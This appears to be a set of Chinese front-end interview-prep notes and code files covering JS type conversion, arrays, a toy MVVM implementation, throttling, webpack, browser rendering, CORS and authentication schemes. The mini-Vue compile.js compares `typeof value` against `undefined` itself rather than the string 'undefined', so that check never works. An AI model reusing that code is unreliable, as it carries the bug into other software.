就可以高枕无忧了,因为如果你没有完全关闭 HTTP 访问的话,攻击方可以通过某些方式将 HTTPS 降级为 HTTP 从而实现中间人攻击。 <file_sep>/类型转换/knowledge.md # 类型转换 数据类型 显式类型转换(手动执行) 隐式类型转换(代码执行时内部自动进行) ## JS 数据类型 基本数据类型:String Number Boolean Undefined Null Symbol 复杂数据类型:Object JS 没有严格的数据类型--声明变量时并不需要声明改变量是什么数据类型 ## 显式类型转换 Number()--原始类型转换 1. 数值:转换后还是原来的数值 2. 字符串:如果可以被解析为数值,那就取那个数值,否则为 NaN(NaN 也是数字类型),空字符串为`0` 3. 布尔值:true --》 1 false --》 0 4. undefined:转换为 NaN 5. null:转换为 0 代码-- ```js Number(123) // 123 Number('123') // 123 Number('1234a') // NaN Number('') // 0 多个空字符串也是0 Number(true) // 1 Number(false) // 0 Number(undefined) // NaN Number(null) // 0 ``` Number()--对象类型转换 1. 先调用对象自身的`valueOf`方法,如果该方法返回原始数据类型(数字、字符串、布尔值),则对该值直接使用`Number()`即可获取转换结果 2. 如果第 1 步中的`valueOf`返回值是一个复合类型值,那么再选择调用对象自身的`toString()`方法,如果该方法返回原始数据类型(数字、字符串、布尔值),那么对改值直接使用`Number()`即可获取转换结果 3. 如果第 2 步中对象的`toString`方法返回值仍是一个复合类型值,那么就会报错(在不修改原型`toString`方法的情况下,该方法通常会返回一个字符串) 看代码 ```js var o = { a: 1 } o.valueOf() // {a: 1} o.toString() // '[object Object]' // 所以 Number({ a: 1 }) // NaN ``` String()--原始类型转换 1. 数值:转换为响应的字符串 2. 字符串:维持原值 3. 布尔值:true ==》'true' false ==》'false' 4. undefined: 'undefined' 5. null:'null' 看代码: ```js String(111) // '111' String('111') // '111' String(true) // 'true' String(false) // 'false' String(undefined) // 'undefined' String(null) // 'null' ``` String()--对象类型转换 1. 先调用对象的`toString`方法,如果`toString`方法返回原始类型值,则对该值直接使用`String()`方法即可获取转换值 2. 如果第 1 步中的`toString`方法返回复合类型的值,那么再调用对象的`valueOf`方法,如果`valueOf`方法返回原始类型值,则对该值直接使用`String()`方法即可获取转换值 3. 如果第 2 步中的`valueOf`方法返回仍然是复合类型,那么就会报错 看代码 ```js var o1 = { a: 1 } o1.toString() // '[object Object]' String(o1) // '[object Object]' // 创建实例自己的toString、valueOf var o2 = { b: 1, toString: function() { return { b: 2 } }, valueOf: function() { return 2 } } o2.toString() // {b: 2} o2.valueOf() // 2 String(o2) // '2' ``` Boolean()--原始类型转换 看代码: ```js // 原始数据值只有以下几个会转换为false Boolean(undefined) // false Boolean(null) // false Boolean(+0) // false Boolean(-0) // false Boolean(NaN) // false Boolean('') // false ``` Boolean()--对象类型转换 所有的对象类型值都会转换为`true`,比如`{}, []` ## 隐式类型转换 触发隐式类型转换的情况 1. 四则运算 2. 判断运算符 (`==` `===`) 3. Native 调用(比如`console.log()`函数,自动将输入值转换为字符串) 隐式类型转换--无聊题(因为运行环境不同,可能结果不同) ```js // 输出环境 chrome控制台 [] + [] // 空字符串 '' [] + {} // 字符串 '[object Object]' {} + [] // 数字 0 == 按照运算规则{}当做空代码块执行所以+[] 0 {} + {} // 字符串 '[object Object][object Object]' true + true // 数字 2 1 + {a: 1} // 字符串'1[object Object]' ``` ## typeof Type Result Undefined undefined Null object Boolean boolean Number number String string Symbol symbol Host Object Implementation-dependent Function Object function Any other object object <file_sep>/JS数组/数组复习.md # MDN JS 数组 数组是一种类列表对象,它的原型中提供了遍历和修改元素的相关操作。JS 数组的长度和元素类型都是非固定的,因为数组的长度随时可变,并且数组的数据在内存中也可以不连续,所以 JS 数组不一定是密集型的,这取决于使用它的方式。一般来说,数组这些特性会给使用带来方便,但是如果这些特性不适用于你的特定使用场景的话,可以考虑使用类型数组 `TypedArray` 使用非整数并通过方括号或点号来访问或设置数组元素时,所操作的并不是数组列表中的元素,而是数组对象的属性集合上的变量。数组对象的属性和数组元素列表是分开存储的,并且数组的遍历和修改操作也不能作用于这些命名属性。 ## 数组方法 ### Array.from() Array.from() 方法从一个类似数组或可迭代对象中创建一个新的数组实例。 语法 ```js Array.from(arrayLike[, mapFn[, thisArg]]) /* * arrayLike 想要转换成数组的伪数组对象或可迭代对象。 * mapFn 可选参数,如果指定了该参数,新数组中的每个元素会执行该回调函数。 * thisArg 可选参数 执行回调函数 mapFn 时 this 对象。 */ ``` ```js // 数组去重合并 function combine() { let arr = [].concat.apply([], arguments) return Array.from(new Set(arr)) } ``` ### Array.isArray() Array.isArray() 用于确定传递的值是否是一个 Array。 ### Array.of() `Array.of()`方法创建一个具有可变数量参数的新数组实例,而不考虑参数的数量或类型。`Array.of()` 和 `Array` 构造函数之间的区别在于处理整数参数:`Array.of(7)` 创建一个具有单个元素 7 的数组,而 `Array(7)` 创建一个长度为 7 的空数组(注意:这是指一个有 7 个空位的数组,而不是由 7 个`undefined`组成的数组)。 ```js Array.of(7) // [7] Array.of(1, 2, 3) // [1, 2, 3] Array(7) // [, , , , ] Array(1, 2, 3) // [1, 2, 3] ``` ## 数组属性 ### Array.prototype.constructor 所有的数组实例都继承了这个属性,它的值就是 Array,表明了所有的数组都是由 Array 构造出来的。 ### Array.prototype.length 上面说了,因为 Array.prototype 也是个数组,所以它也有 length 属性,这个值为 0,因为它是个空数组。 ## 数组的修改器方法(会改变原数组) ### Array.prototype.pop() `pop()`方法从数组中删除最后一个元素,并返回该元素的值。此方法更改数组的长度。 ### Array.prototype.push() `push()` 方法将一个或多个元素添加到数组的末尾,并返回该数组的新长度。 ### Array.prototype.shift() `shift()` 方法从数组中删除第一个元素,并返回该元素的值。此方法更改数组的长度。 ### Array.prototype.unshift() unshift() 方法将一个或多个元素添加到数组的开头,并返回该数组的新长度。 ### Array.prototype.splice() splice()方法通过删除现有元素和/或添加新元素来修改数组,并以数组返回原数组中被修改的内容。 语法 ```js Array.prototype.splice(start[, deleteCount[, item[, item...]]]) ``` `splice()`方法的返回值是删除的元素组成的一个数组。如果只是删除了一个元素,则返回只包含一个元素的数组。如果没有删除元素,则返回空数组 请注意,splice() 方法与 slice() 方法的作用是不同的,splice() 方法会直接对数组进行修改。 ```js // 从第2位开始删除0个元素,插入 drum var myFish = ['angel', 'clown', 'mandarin', 'surgeon'] var removed = myFish.splice(2, 0, 'drum') console.log(myFish) // ['angel', 'clown', 'drum', 'mandarin', 'surgeon'] console.log(removed) // 即返回值 [] 没有元素删除 // 从第3位开始删除1个元素 var myFish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon'] var removed = myFish.splice(3, 1) console.log(myFish) // ['angel', 'clown', 'drum', 'sturgeon'] console.log(removed) // ['mandarin'] // 从第2位开始删除所有元素 var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'] var removed = myFish.splice(2) console.log(myFish) // ['angel', 'clown'] console.log(removed) // ['mandarin', 'sturgeon'] ``` ### Array.prototype.reverse() 这个方法会颠倒数组中元素的位置。第一个数组元素成为最后一个数组元素,最后一个数组元素成为第一个。 ### Array.prototype.sort() sort() 方法用原地算法对数组的元素进行排序,并返回数组。排序算法现在是稳定的。默认排序顺序是根据字符串 Unicode 码点。 ```js // 需要传入一个比较函数 function compare(a, b) { if (a < b) { // 按某种排序标准进行比较, a 小于 b return -1 } if (a > b) { return 1 } // a must be equal to b return 0 } ``` ## 数组的访问方法 下面的这些方法绝对不会改变调用它们的对象(这里指数组)的值,只会返回一个新的数组或者返回一个其它的期望值。 ### Array.prototype.concat() concat() 方法用于合并两个或多个数组。此方法不会更改现有数组,而是返回一个新数组。 ```js var alpha = ['a', 'b', 'c'] var numeric = [1, 2, 3] var result = alpha.concat(numeric) // result -- ['a', 'b', 'c', 1, 2, 3] ``` ### Array.prototype.join() join() 方法将一个数组(或一个类数组对象)的所有元素连接成一个字符串并返回这个字符串。 ```js var a = ['Wind', 'Rain', 'Fire'] var myVar1 = a.join() // myVar1的值变为"Wind,Rain,Fire" var myVar2 = a.join(', ') // myVar2的值变为"Wind, Rain, Fire" var myVar3 = a.join(' + ') // myVar3的值变为"Wind + Rain + Fire" var myVar4 = a.join('') // myVar4的值变为"WindRainFire" ``` ### Array.prototype.slice() `slice()` 方法返回一个新的数组对象,这一对象是一个由 `begin` 和 `end`(不包括 end)决定的原数组的浅拷贝。原始数组不会被改变。 ```js var fruits = ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango'] var citrus = fruits.slice(1, 3) // fruits contains ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango'] // citrus contains ['Orange','Lemon'] ``` `slice` 方法可以用来将一个类数组(Array-like)对象/集合转换成一个新数组。你只需将该方法绑定到这个对象上。 一个函数中的 arguments 就是一个类数组对象的例子。 ```js function list() { return Array.prototype.slice.call(arguments) } var list1 = list(1, 2, 3) // [1, 2, 3] ``` 除了使用 `Array.prototype.slice.call(arguments)`,你也可以简单的使用 `[].slice.call(arguments)` 来代替。另外,你可以使用 bind 来简化该过程。 ```js var unboundSlice = Array.prototype.slice var slice = Function.prototype.call.bind(unboundSlice) function list() { return slice(arguments) } var list1 = list(1, 2, 3) // [1, 2, 3] ``` ## 数组的迭代方法 在下面的众多遍历方法中,有很多方法都需要指定一个回调函数作为参数。在每一个数组元素都分别执行完回调函数之前,数组的 length 属性会被缓存在某个地方,所以,如果你在回调函数中为当前数组添加了新的元素,那么那些新添加的元素是不会被遍历到的。此外,如果在回调函数中对当前数组进行了其它修改,比如改变某个元素的值或者删掉某个元素,那么随后的遍历操作可能会受到未预期的影响。 ### Array.prototype.forEach() 语法 ```js array.forEach(callback(currentValue, index, array){ // do something }, this) ``` ### Array.prototype.map() ### Array.prototype.reduce() <file_sep>/MVVM的伪代码/index.js function Vue(options) { this.data = options.data this.methods = options.methods // 实例vm代理数据数据对象 // 也就是 vue[propName] 代理了对 vue.data[propName] 的访问 Object.keys(this.data).forEach((key) => { this.proxyKeys(key) }) // 观测数据变化,数据对象的get回调里会添加 Watcher 观察者实例 observe(this.data) // 编译,在这个过程会手动调用 new Watcher() 生成观察者实例 new Compile(options.el, this) // 所有事情处理好以后执行 mounted 函数 options.mounted.call(this) } Vue.prototype.proxyKeys = function(key) { // 这个方法主要实现 // 用 vue[propName] 代理 vue.data[propName] var self = this Object.defineProperty(this, key, { enumerable: false, configurable: true, get: function() { return self.data[key] }, set: function(newVal) { self.data[key] = newVal } }) }<file_sep>/MVVM的伪代码/compile.js function Compile(el, vm) { this.vm = vm this.el = document.querySelector(el) this.fragment = null this.init() } Compile.prototype.init = function() { if (this.el) { this.fragment = this.nodeToFragment(this.el) this.compileElement(this.fragment) this.el.appendChild(this.fragment) } else { console.log('dom 元素不存在') } } Compile.prototype.nodeToFragment = function(el) { var fragment = document.createDocumentFragment() var child = el.firstChild while(child) { // 将 dom 元素移入到 fragment 中 fragment.appendChild(child) child = el.firstChild } return fragment } Compile.prototype.compileElement = function(el) { var childNodes = el.childNodes Array.prototype.slice.call(childNodes).forEach((node) => { var reg = /\{\{(.*)\}\}/ var text = node.textContent if (this.isElementNode(node)) { this.compile(node) } else if (this.isTextNode(node) && reg.test(text)) { this.compileText(node, reg.exec(text)[1]) } if (node.childNodes && node.childNodes.length) { // 递归编译 this.compileElement(node) } }) } Compile.prototype.compile = function(node) { var nodeAttrs = node.attributes Array.prototype.slice.call(nodeAttrs).forEach((attr) => { var attrName = attr.name if (this.isDirective(attrName)) { // 如果是 mvvm 框架的指令 特殊处理 var exp = attr.value // v-on --> on v-bind --> bind var dir = attrName.substring(2) if (this.isEventDirective(dir)) { // 事件指令 this.compileEvent(node, this.vm, exp, dir) } else { // v-model 指令 this.compileModel(node, this.vm, exp, dir) } node.removeAttribute(attrName) } }) } Compile.prototype.compileText = function(node, exp) { var self = this var initText = this.vm[exp] this.updateText(node, initText) new Watcher(this.vm, exp, function(newVal, oldVal) { self.updateText(node, newVal) }) } Compile.prototype.compileEvent = function(node, vm, exp, dir) { var eventType = dir.split(':')[1] var cb = vm.methods && vm.methods[exp] if (eventType && cb) { node.addEventListener(eventType, cb.bind(vm), false) } } Compile.prototype.compileModel = function (node, vm, exp, dir) { var self = this var val = this.vm[exp] this.modelUpdate(node, val) new Watcher(this.vm, exp, function(newVal, oldVal) { self.modelUpdate(node, newVal) }) node.addEventListener('input', (e) => { var newVal = e.target.value if (val === newVal) { return } this.vm[exp] = newVal val = newVal }) } Compile.prototype.updateText = function(node, value) { node.textContent = typeof value === undefined ? '' : value } Compile.prototype.modelUpdate = function(node, value) { node.value = typeof value === undefined ? '' : value } Compile.prototype.isDirective = function(attr) { return attr.indexOf('v-') !== -1 } Compile.prototype.isEventDirective = function (attr) { return attr.indexOf('on:') !== -1 } Compile.prototype.isElementNode = function(node) { return node.nodeType === 1 } Compile.prototype.isTextNode = function(node) { return node.nodeType === 3 }<file_sep>/小米面试题/一面/throttle.js // 第一版--时间戳 function throttle1(eventHandler, wait) { var previous = 0 return function () { var now = new Date() if (now - previous > wait) { eventHandler.apply(this, arguments) previous = now } } } // 使用定时器 // 当触发事件时,我们设置一个定时器,再次触发事件的时候 // 如果定时器存在,就不执行 // 直到定时器执行,然后执行函数,再清空定时器 // 这样就可以设置下个定时器 function throttle2(eventHandler, wait) { var timer var previous = 0 return function () { if (!timer) { timer = setTimeout(() => { timer = null eventHandler.apply(this, arguments) }, wait); } } } // 双剑合璧 function throttle3(eventHandler, wait) { var timer var result var previous = 0 var later = function () { previous = +new Date() timer = null eventHandler.apply(this, arguments) } var throttled = function () { var now = new Date() // 下次触发 func 剩余的时间 var remaining = wait - (now - previous) // 如果没有剩余时间或者系统时间不对 if (remaining <= 0 || remaining > wait) { if (timer) { clearTimeout(timer) timer = null } previous = now eventHandler.apply(this, arguments) } else if (!timer) { timer = setTimeout(later, remaining) } } return throttled }<file_sep>/webpack/knowledge.md # webpack ## 1. webpack 运行机制 ### 1.1 webpack 运行机制概述 webpack 的运行过程可以简单概述为如下流程 初始化配置参数--》绑定事件钩子函数--》确定 Entry 逐一遍历--》使用 loader 编译文件--》输出文件 ### 1.2 webpack 运行流程 在分析 webpack 运行流程的时候,我们可以借助一个概念,便是 webpack 的事件流机制 什么是 webpack 事件流 webpack 就像一条生产线,要经过一系列处理流程后才能将源文件转换成输出结果。这条生产线上的每个处理流程的职责都是单一的,多个流程之间存在依赖关系,只有完成当前处理后才能交给下一个流程去处理。插件就像是一个插入到生产线中的一个功能,在特定的时机对生产线上的资源做处理。webpack 通过 Tapable 来组织这条复杂的生产线。webpack 在运行过程中会广播事件,插件只需要监听它关心的事件,就能加入到这条生产线当中去,去改变生产线的运作(增加额外的处理流程)。webpack 的事件流机制保证了插件的有序性,使得整个系统拓展性很好 <file_sep>/渲染机制/knowledge.md # 渲染机制 什么是 DOCTYPE 以及它的作用 浏览器的渲染过程 浏览器的重排(reflow)和重绘(repaint) 浏览器的布局(layout) ## DOCTYPE DTD(document type definition)--文档类型定义,是一系列的语法规则,用来定义 XML 或者 HTML 的文件类型。浏览器会使用它来判断文档类型,决定使用何种协议来解析,以及切换浏览器模式 DOCTYPE 是用来声明文档类型和 DTD 规范的,一个主要用途就是验证文件的合法性,如果文件代码不符合 DOCTYPE 声明,那么浏览器解析便会出现一些问题 HTML5 的 DOCTYPE--`<!DOCTYPE html>`,其他的 HTML4.0 有自己的,两种模式--Strict 和 Transitional ## 浏览器渲染过程 首先,引用阮一峰老师的《网页性能管理》中的浏览器渲染图 ![浏览器渲染](http://www.ruanyifeng.com/blogimg/asset/2015/bg2015091502.png) 网页的生成过程,大致可分为五步 1. HTML 代码转换为 DOM 2. CSS 代码转换为 CSSOM (CSS Object Model) 3. 结合 DOM 和 CSSOM,生成一颗渲染树(包含每个节点的视觉信息) 4. 生成布局(layout),也就是将所有的渲染树的所有节点信息进行平面合成 5. 将布局绘制(paint)到屏幕上 在这五步里面,前面三步都是特别快的,耗时间的是第四步和第五步 生成布局(layout)和绘制(paint)这两步,合称为“渲染” ## 重排 reflow 基本概念:DOM 结构中的各个元素都有自己的盒子(模型),这些都需要浏览器根据各种样式来计算,然后凭借计算结果将元素放置到预期的位置上,这个过程称为 reflow 以下情况会触发 reflow 1. 当你增加、删除、修改网页的 DOM 节点时,会触发浏览器的 reflow 或 repaint 2. 当你移动 DOM 元素位置时,或者添加动画时,会触发 reflow 3. 当你修改 CSS 样式时 4. 当你 Resize 窗口的时候,或者滚动的时候,会触发 reflow (但是移动端不存在这个) 5. 当你修改网页默认字体时 ## 重绘 repaint 基本概念:当网页中各种盒子的位置、大小以及其他属性,例如颜色、字体大小等都确定以后,浏览器于是便把这些元素按照各自的特性绘制了一遍,于是页面的内容便出现了,这个过程称为 repaint 以下情况会触发 repaint 1. DOM 改动 2. CSS 改动 <file_sep>/CORS/knowledge.md # CORS CORS 是一个 W3C 标标准,全称是**跨域资源共享**(Cross-Origin-Resource-Share)。这个标准允许浏览器向非同源的服务器,发起 Ajax 请求,从而克服了 Ajax 只能同源使用的限制 ## 简介 CORS 需要浏览器和服务器同时支持。目前,大部分现代浏览器都支持了 CORS 标准。 整个 CORS 通信过程,都是浏览器自动完成,不需要用户参与。对于开发者而言,CORS 通信与 Ajax 通信没有区别。浏览器一旦发现 AJAX 请求跨域,就会自动添加额外的请求头,有时还会多出现一次附加的请求,但是用户不会有感知。因为,实现 CORS 通信的关键是服务器。只要服务器实现了 CORS 通信的接口,Ajax 就可以跨域通信了 ## CORS 中的两种请求 CORS 请求分为两类:简单请求(Simple request)和非简单请求(Not-so-simple request) 同时满足以下两大条件,就属于简单请求。 1. 请求方法是以下三种方法之一 - HEAD - GET - POST 2. HTTP 请求头不超出以下几种字段 - Accept - Accept-Language - Content-Language - Last-Event-ID - Content-Type: 只限于三个值`application/x-www-form-urlencoded、multipart/form、text/plain` 一句话来说,凡是 HTTP 请求是由以上方法和请求头组合而成的,都是简单请求,否则就是非简单请求。 这样划分的原因是,表单在历史上一直可以发出跨域请求。简单请求就是表单请求,浏览器沿袭了传统的处理方式,不把行为复杂化,否则开发者可能转而使用表单,规避 CORS 的限制。对于非简单请求,浏览器则有新的处理方式 ## 简单请求 ### 基本流程 对于简单请求,浏览器直接发出 CORS 请求。具体来说,就是在 HTTP 请求头中,添加一个`Origin`字段 下面是个例子,浏览器发现 Ajax 这次发起的请求是个跨域请求,于是自动在头部信息中添加了`Origin`字段 ```http GET /cors HTTP/1.1 Origin: http://api.bob.com Host: api.alice.com Accept-Language: en-Us Connection: keep-alive User-Agent: Mozilla/5.0... ``` 上面的头部信息中,`Origin`字段值表示这次请求来自于哪个域(协议+域名+端口)。服务器根据这个值。来判断要不要响应浏览器这次的跨域请求 如果如果`Origin`的值,在服务器允许跨域的源的列表内,服务器就会返回正确的响应,而且这个响应的响应头会额外包含几个和 CORS 相关的字段 ```http Access-Control-Allow-Origin: http://api.bob.com Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: FooBar Content-Type: text/html;charset=utf-8 ``` 上面的响应头中,有三个与 CORS 相关,皆以`Access-Control`开头 - `Access-Control-Allow-Origin`: 该字段是必须的。它的值要么是请求时浏览器提交的 Origin 字段的值,要么是一个`*`,表示接受任意域名的请求。 - `Access-Control-Allow-Credentials`: 该字段是可选的,值为布尔值,表示是否允许携带 Cookie。默认情况下,Cookie 不在 CORS 请求之中。将该字段设为 `true`,表示服务器明确许可,浏览器可以把 Cookie 包含在请求当中,一同发给服务器。这个字段同时也只能设为`true`,因为服务器如果不需要浏览器携带 Cookie 的话,返回的响应中不添加这个字段即可 - `Access-Control-Expose-Headers`: 该字段是可选的。发送 CORS 请求得到响应时,`XMLHttpRequest`对象的`getResponseHeader()`方法只能拿到`Cache-Control Content-Language Content-Type Expires Last-Modified Pragma`这 6 个基本字段。如果想要拿到其他的额外字段,那么必须在`Access-Control-Expose-Headers`里面指定。就像给的例子。指定`XMLHttpRequest`对象还可以额外拿到字段`FooBar`的值,通过`getResponseHeader('FooBar')` 如果`Origin`的值,不在服务器允许跨域的源的列表内,服务器就会返回一个正常的 HTTP 响应,这个 Response 的响应头中没有包含`Access-Control-Allow-Origin`字段,浏览器就知道这次请求出错了,从而抛出一个错误,这个错误会被`XMLHttpRequest`的`onerror`回调函数捕获。值得注意的是,这种 HTTP 请求出错是不能依靠 HTTP 状态码来识别的,因为服务器可能返回一个状态码为 200 的 Response ### widthCredentials 上面说到,CORS 请求默认不包含 Cookie 信息(以及 HTTP 验证信息),如果需要包含的话,一方面需要服务器做做相应设定--指定`Access-Control-Allow-Credentials`字段,另一方面需要开发者在 Ajax 请求中设置`widthCredentials`属性 ```js var xhr = new XMLHttpRequest() xhr.withCredentials = true ``` 否则,即使服务器同意浏览器发送 Cookie,浏览器也不会发送;或者服务器要求设置 Cookie,浏览器也不会处理 但是,如果省略设置`withCredentials`,有的浏览器还是会发送 Cookie,这个时候如果不想发送 Cookie,那么可以显示关闭--`xhr.withCredentials = false` 额外要注意的是,如果需要发送 Cookie,那么`Access-Control-Allow-Origin`就不能设置为`*`这个值,必须指定明确的、与请求网页一致的域名。同时,Cookie 依旧遵循同源策略,只有用服务器域名设置的 Cookie 才会上床,其他域名的 Cookie 并不会上传,且(跨域)原网页的`document.cookie`也是无法读取服务器域名下的 Cookie 的 ## 非简单请求 ### 预检请求 非简单请求是那种对服务器提出的特殊要求的要求,比如请求方法是`PUT`和`DELETE`,或者`Content-Type`字段的类型是`application/json`。 非简单请求的 CORS 请求,会在正式通信之前,增加一次 HTTP 查询要求,称为“预检”请求。浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单之中,以及可以使用哪些 HTTP 动词和头部信息字段。只有得到服务器肯定的答复,浏览器才会发出正式的`XMLHttpRequest`请求,否则就报错。这是为了防止这些新增的请求,对传统的没有支持 CORS 的服务器造成压力,给服务器提前一个拒绝的机会。比如可以帮助传统服务器避免大量的`PUT`和`DElETE`请求,因为传统的表单不可能发住这样的跨域请求。 看一段 JS 脚本(所在域:http://api.bob.com) ```js var url = 'http://api.alice.com/cors' var xhr = new XMLHttpRequest() xhr.open('PUT', url) xhr.setRequestHeader('X-Custom-Header', 'super') xhr.send() ``` 上面代码中,HTTP 请求的方法是 `PUT`,并且发送一个自定义头信息 `X-Custom-Header` 浏览器发现,这是一个 非简单请求,就自动发出一个“预检”请求,询问服务器是否可以处理这样的请求。下面是这个“预检”请求的头部 ```http OPTIONS /cors HTTP/1.1 Origin: http://api.bob.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: X-Custom-Header Host: api.alice.com Accept-Language: en-Us Connection: keep-alive User-Agent: Mozilla/5.0... ``` “预检”请求用的请求方法是`OPTIONS`,表示这个请求是用来询问的。头信息里面,关键字段是`Origin`,表示请求来自哪个源 除了`Origin`字段,“预检”请求的头部信息包括两个特殊字段 - `Access-Control-Request-Method`: 该字段是必须的,用来列出浏览器的 CORS 请求会用到哪些 HTTP 方法,上例是 PUT - `Access-Control-Request-Headers`: 该字段的值是一个逗号分隔的字符串,用来定义 CORS 请求时浏览器会发出哪些额外的 HTTP 头部 ### 预检请求的响应 服务器在收到“预检”请求以后,检查了`Origin Access-Control-Request-Method Access-Control-Request-Headers`字段以后,确认允许跨域请求后,就做出回应 ```http HTTP/1.1 200 OK Date: Mon, 01 Dec 2008 01:15:39 GMT Server: Apache/2.0.61 (Unix) Access-Control-Allow-Origin: http://api.bob.com Access-Control-Allow-Methods: GET, POST, PUT Access-Control-Allow-Headers: X-Custom-Header Content-Type: text/html; charset=utf-8 Content-Encoding: gzip Content-Length: 0 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/plain ``` 上面的 HTTP 回应中,关键的是 Access-Control-Allow-Origin 字段,表示`http://api.bob.com`可以请求数据。该字段也可以设为星号`*`,表示同意任意跨源请求。 如果服务器否定了“预检”请求,会返回一个正常的 HTTP 回应,但是没有任何 CORS 相关的头信息字段,或者明确表示请求不符合条件。 ```http HTTP/1.1 200 OK Access-Control-Allow-Origin: https://notyourdomain.com Access-Control-Allow-Method: POST ``` 上面的服务器回应,`Access-Control-Allow-Origin`字段明确不包括发出请求的`http://api.bob.com`。 这时,浏览器就会认定,服务器不同意预检请求,因此触发一个错误,被`XMLHttpRequest`对象的`onerror`回调函数捕获。控制台会打印出如下的报错信息。 ```chrome XMLHttpRequest cannot load http://api.alice.com. Origin http://api.bob.com is not allowed by Access-Control-Allow-Origin. ``` 服务器回应的其他 CORS 相关字段如下: - `Access-Control-Allow-Methods`: 该字段必需,它的值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法。注意,返回的是所有支持的方法,而不单是浏览器请求的那个方法。这是为了避免多次“预检”请求 - `Access-Control-Allow-Headers`: 如果浏览器请求包括 `Access-Control-Request-Headers` 字段,则 `Access-Control-Allow-Headers` 字段是必需的。它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在“预检”中请求的字段 - `Access-Control-Allow-Credentials`: 该字段与简单请求时的含义相同。 - `Access-Control-Max-Age`: 该字段可选,用来指定本次预检请求的有效期,单位为秒。上面结果中,有效期是 20 天(1728000 秒),即允许缓存该条回应 1728000 秒(即 20 天),在此期间,不用发出另一条预检请求。 ### 浏览器过了“预检”阶段的请求 一旦服务器通过了“预检”请求,以后每次浏览器正常的 CORS 请求,就都跟简单请求一样,会有一个`Origin`头信息字段。服务器的回应,也都会有一个`Access-Control-Allow-Origin`头信息字段 ## CORS VS JSONP CORS 与 JSONP 的使用目的相同,但是比 JSONP 更强大。JSONP 只支持 GET 请求,CORS 支持所有类型的 HTTP 请求。JSONP 的优势在于支持老式浏览器,以及可以向不支持 CORS 的网站请求数据。<file_sep>/前端鉴权/前端鉴权.md # 前端鉴权 常用的鉴权方式有 1. HTTP Basic Authentication 2. session-cookie 3. Token 验证 4. OAuth(开放授权) ## 1. HTTP Basic Authentication 浏览器遵守 HTTP 协议实现的基本授权方式,HTTP 协议进行通信的过程中,HTTP 协议定义了基本认证允许 HTTP 服务器对客户端进行用户身份证的方法。 认证过程如下 1. 客户端向服务器请求数据,请求的内容可能是一个网页或者是一个ajax异步请求,此时,假设客户端尚未被验证,则客户端提供如下请求至服务器: `Get /index.html HTTP/1.0 Host: www.google.com` 2. 服务器返回状态码为 401 的响应,数据大致如下 ```http HTTP/1.0 401 Unauthorized Server: SokEvo/1.0 WWW-Authenticate: Basic realm="google.com" Content-Type: text/html Content-Length: xxx ``` 3. 当符合http1.0或1.1规范的客户端(如Chrome,FIREFOX)收到401返回值时,将自动弹出一个登录窗口,要求用户输入用户名和密码。 4. 用户输入用户名和密码后,客户端将用户名及密码以 base64 加密方式加密,并将密文放入前一条请求信息中,则客户端发送的第一条请求信息则变成如下内容: ```http Get /index.html HTTP/1.0 Host: www.google.com Authorization: Basic d2FuZzp3YW5n ``` 5. 服务器收到上述请求信息后,将Authorization字段中的用户信息取出、解密,将解密后的用户名及密码与用户数据库进行比较验证,如用户名及密码正确,服务器则根据请求,将所请求资源发送给客户端 通过以上过程,不难看出,这种验证方式加密极其简单(因为 base64 是可逆的),每个请求的头上都会附带上用户名和密码信息,这样在外网是很容易被嗅探器探测到的。所以不怎么具备实际使用价值 ## 2. session-cookie 利用服务器端的 session(会话)和浏览器端的cookie来实现前后端的认证,由于 http 请求时是无状态的,服务器正常情况下是不知道当前的请求在这之前有没有登录过,这个时候我们如果要记录状态,就需要在服务器端创建一个会话(session),将同一个客户端的请求都维护在各自的会话中,每当请求到达服务器端的时候,先去查一下这次请求有没有相应的 session ,如果有说明已经认证过,否则就需要认证身份。 1. 服务器在接受客户端首次访问时在服务器端创建 session,然后保存session(我们可以将session保存在内存中,也可以保存在redis中,推荐使用后者),然后给这个session生成一个唯一的标识符(sid),然后在响应头 set-cookie 中种下这个唯一标识字符串 2. 签名,这一步只是对sid进行加密处理,服务端会根据这个secret密钥进行解密。(非必需步骤) 3. 浏览器收到服务器响应后,会在后续的 http 请求中直接携带该域名下的 cookie 信息 4. 服务器在接受客户端请求时会去解析请求头 cookie 中的 sid ,然后根据这个 sid 去找服务器端保存的该客户端的 session ,然后判断该请求是否合法。 ## 3. Token 验证 使用基于 Token 的身份验证方法,大概的流程是这样的: 1. 客户端使用用户名跟密码请求登录 2. 服务端收到请求,去验证用户名与密码 3. 验证成功后,服务端会签发一个 Token,再把这个 Token 发送给客户端 4. 客户端收到 Token 以后可以把它存储起来,比如放在 Cookie 里或者 Local Storage 里 5. 客户端每次向服务端请求资源的时候需要带着服务端签发的 Token 6. 服务端收到请求,然后去验证客户端请求里面带着的 Token,如果验证成功,就向客户端返回请求的数据 看流程,和 session-cookie 很类似,都是服务器验证过客户端的合法性后,派发一个签名,客户端后续的请求携带这个签名即可。但是这两者还是有不少区别的 1. sid 他只是一个唯一标识的字符串,服务端是根据这个字符串,来查询保持在服务器的 session,这里面才保存着用户的登陆状态。但是token本身就是一种登陆成功凭证,它是在登陆成功后根据某种规则生成的一种信息凭证,本身就保存着用户的登陆状态。服务器端只需要根据事先定义好的规则来校验这个token是否合法就行。 2. session-cookie 是需要 cookie 配合的,而cookie,在http代理客户端的选择上就只有浏览器了,因为只有浏览器才会去解析响应头里面的 cookie ,然后每次请求再默认带上该域名下的cookie。但是http代理客户端不只有浏览器,还有原生 APP 等等,这个时候 cookie 是不无法使用的,或者浏览器端是可以禁止 cookie 的(虽然可以,但是这基本上是属于吃饱没事干的人干的事),但是 token 就不一样,它是客户端登陆成功后,服务器直接在响应的响应实体中派发的信息,原生 APP 也可以解析使用。简单点来说cookie-session机制他限制了客户端的类型,而token验证机制丰富了客户端类型。 3. 时效性。session-cookie 的 sid 是在客户端登陆的时候生成的,而且在登出时也不变,那么在一定程度上安全系数就会降低,而 token 是可以在一段时间内动态改变的 4. 可拓展性。token 验证本身是比较灵活的,一是 token 的解决方案有许多,常用的是 JWT ,二来我们可以基于 token 